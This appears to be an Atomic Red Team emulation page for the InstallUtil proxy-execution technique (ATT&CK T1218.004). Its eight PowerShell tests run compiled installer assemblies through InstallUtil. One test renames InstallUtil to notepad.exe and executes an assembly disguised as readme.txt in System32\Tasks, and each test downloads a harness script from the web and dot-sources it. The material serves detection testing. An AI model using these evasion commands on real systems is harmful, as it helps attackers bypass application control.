Try it using Invoke-Atomic

Signed Binary Proxy Execution: InstallUtil

Description from ATT&CK

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe.

InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)

Atomic Tests

Atomic Test #1 - CheckIfInstallable method call

Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed. If no output is displayed the test executed successfuly.

Supported Platforms: windows

auto_generated_guid: ffd9c807-d402-47d2-879d-f915cf2a3a94

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
assembly_dir directory to drop the compiled installer assembly Path $Env:TEMP\
invocation_method the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable String CheckIfInstallable
assembly_filename filename of the compiled installer assembly String T1218.004.dll

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$ExpectedOutput = 'Constructor_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

Atomic Test #2 - InstallHelper method call

Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test executed successfuly.

Supported Platforms: windows

auto_generated_guid: d43a5bde-ae28-4c55-a850-3f4c80573503

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
assembly_dir directory to drop the compiled installer assembly Path $Env:TEMP\
invocation_method the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable String InstallHelper
assembly_filename filename of the compiled installer assembly String T1218.004.dll

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallHelper method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

Atomic Test #3 - InstallUtil class constructor method call

Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.

Supported Platforms: windows

auto_generated_guid: 9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
assembly_dir directory to drop the compiled installer assembly Path $Env:TEMP\
invocation_method the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable String Executable
assembly_filename filename of the compiled installer assembly String T1218.004.dll

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

Atomic Test #4 - InstallUtil Install method call

Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.

Supported Platforms: windows

auto_generated_guid: 9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
assembly_dir directory to drop the compiled installer assembly Path $Env:TEMP\
invocation_method the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable String Executable
assembly_filename filename of the compiled installer assembly String T1218.004.dll

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Install_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

Atomic Test #5 - InstallUtil Uninstall method call - /U variant

Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.

Supported Platforms: windows

auto_generated_guid: 34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
assembly_dir directory to drop the compiled installer assembly Path $Env:TEMP\
invocation_method the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable String Executable
assembly_filename filename of the compiled installer assembly String T1218.004.dll

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

Atomic Test #6 - InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant

Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.

Supported Platforms: windows

auto_generated_guid: 06d9deba-f732-48a8-af8e-bdd6e4d98c1d

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
assembly_dir directory to drop the compiled installer assembly Path $Env:TEMP\
invocation_method the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable String Executable
assembly_filename filename of the compiled installer assembly String T1218.004.dll

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

Atomic Test #7 - InstallUtil HelpText method call

Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.

Supported Platforms: windows

auto_generated_guid: 5a683850-1145-4326-a0e5-e91ced3c6022

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
assembly_dir directory to drop the compiled installer assembly Path $Env:TEMP\
invocation_method the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable String Executable
assembly_filename filename of the compiled installer assembly String T1218.004.dll

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/? `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_HelpText_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

Atomic Test #8 - InstallUtil evasive invocation

Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation." will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion.

Supported Platforms: windows

auto_generated_guid: 559e6d06-bb42-4307-bff7-3b95a8254bad

Inputs:

Name Description Type Default Value
test_harness location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly Path PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. #{test_harness}

$InstallerAssemblyDir = "$Env:windir\System32\Tasks"
$InstallerAssemblyFileName = 'readme.txt'
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "readme.txt"
$ExpectedOutput = 'Constructor_'

# Explicitly set the directory so that a relative path to readme.txt can be supplied.
Set-Location "$Env:windir\System32\Tasks"

Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe"

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = 'Executable'
    CommandLine = $CommandLine
    InstallUtilPath = "$Env:windir\System32\Tasks\notepad.exe"
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
Evasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}

Cleanup Commands:

1
2
3
4
5
Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\notepad.exe" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: InstallUtil test harness script must be installed at specified location (#{test_harness})

Check Prereq Commands:

1
2
if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"

source